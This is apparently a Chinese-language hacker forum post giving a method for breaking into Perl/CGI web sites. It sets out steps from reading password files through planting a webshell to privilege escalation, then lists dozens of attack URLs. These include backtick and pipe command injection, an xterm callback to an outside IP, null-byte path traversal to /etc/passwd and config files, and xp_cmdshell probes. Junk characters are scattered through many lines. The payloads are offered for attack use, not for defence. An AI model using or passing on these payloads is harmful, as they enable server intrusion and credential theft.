总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
1 i* |. `* D+ ]* z7 Y+ tcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 i' m" ^' U, Q3 y; X$ u
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
. M5 e) f [' B8 [$ }5 S注“
* Z% [. p. X$ Jperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
2 ~% ?+ n4 x8 Q/ k以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
. K5 r9 _ J3 o: i8 O- u( H% H# t% j+ Q1 h
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 ) t3 \: j2 ~# V' N, q) p: k) P
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
4 ]' ?7 M+ b" ]* |http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
$ B4 O* `4 ~# c6 v2 ahttp://target.com/cgi-bin/home/news/sub.pl?`id`
$ k- A$ _, J7 }$ @( }* [4 Bhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` ) F' Q) [* Q, Z; u& u" T* l2 u' Q+ H
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
5 p( C# i/ Z7 T4 [+ l" i. {" G2 A9 |9 W& v
http://target.com/test.pl;ls|
& z) e" z: I- Y4 s" O* i# X- Vhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
; K# i( s( e; I) ~http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| # {1 ?* h, O5 k' d k
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 ; a7 C% G( F; S+ q# @+ r; J+ F% D& ?
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
I$ F7 o& ]* l$ G: Mhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
& l% T0 d- O9 X7 \1 J; b* O& Y8 M2 v3 N+ w# t: o
http://target.com/test.pl?&........ /../../etc/passwd 4 y3 d) m( N# L# E# y5 i7 [
. p& ~, N2 X) k* bhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
$ Y- t0 D5 p2 Q+ K! ~& Qhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
M; r" s1 }8 p- Ghttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
3 ~7 B$ K X& c* u; B! Y) `) b9 L& H: k# O5 q
http://www.target.org/show.php?f ... /include/config.php 查看php代码 2 `5 j% i$ Q# p! Z9 ~) y6 C
http://www.target.org/show.php?f ... ng/admin/global.php 7 q$ ]$ C9 K3 b/ S& s& K
' }/ ~; {9 |8 X- \0 \; \; m
emm和ps的一句话
" `$ x5 M E& I* w* G) M% `. S- B, S
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 ! j% D& r, _' o4 b' z) I
, g% R- `2 @7 r, f! ]& k
>bbb%20| 8 [4 a B. p8 z
- k* B: N5 ~3 n/ K/ {, ohttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
1 k9 Q% a, [$ W+ Q6 e k Y1 T1 H! Z1 k: p3 c, h6 c8 v. Q& X; ]
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
; H8 q! ^- U- fhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
* x! l: a( [2 {: a0 e; B$ _' p3 a- A! @" Q; b! Z" \/ j
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
2 s! V# \. n/ X2 k: X5 Mhttp://target.com/index.html#cmd.exe
$ ^, d9 |/ t; K# N3 t) dhttp://target.com/index.html?dummyparam=xp_cmdshell # p t+ L! o j7 S4 m
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
$ r; c6 F% I5 U8 e2 [ |